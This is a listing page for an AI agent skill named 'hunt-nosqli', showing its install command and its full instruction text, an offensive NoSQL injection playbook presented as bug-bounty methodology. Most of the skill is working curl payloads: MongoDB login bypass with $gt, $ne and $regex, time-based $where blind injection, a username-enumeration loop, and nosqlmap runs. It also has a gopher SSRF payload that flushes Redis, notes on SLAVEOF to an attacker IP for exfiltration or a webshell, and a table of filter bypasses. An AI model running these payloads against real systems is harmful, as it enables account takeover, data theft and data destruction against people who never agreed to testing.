mcpbeat

Hunt Nosqli

elementalsouls/hunt-nosqli

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

1k tokens
context cost
the whole folder, loaded on every use
1
files
instructions only
0
copies elsewhere
how many repositories repackaged it
3280
stars on the repo
on the repository, not the skill itself

Install

one command, takes just this skill from the repository 
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-nosqli

The instruction itself

15 sections, as written by the author

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

| Signal | Vector |

|--------|--------|

| MongoDB error messages in response | Operator injection |

| mongoose / monk in JS bundles | ODM patterns |

| X-Powered-By: Express | Node.js + MongoDB common stack |

| CouchDB/_utils UI exposed | Futon/Fauxton admin |

| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |

| Elasticsearch :9200 open | Script injection |

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

| Defense | Bypass |

|---------|--------|

| JSON.parse rejects objects | Use array: password[$ne]=x (URL params) |

| Sanitizes $ | Unicode: $gt |

| Blocks operator keys | Nested objects deeper in structure |

Chain Table

| NoSQLi finding | Chain to | Impact |

|---------------|----------|--------|

| Auth bypass | Admin panel access | Full admin control |

| User enum via regex | Credential stuffing | Mass ATO |

| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |

| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token

✅ Data dump: returned users/documents you shouldn't have access to

✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

How to use it

Copy the folder

Take elementalsouls/hunt-nosqli from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.

Install what it needs

The instructions reference pip. Without those the skill loads but fails at the first command.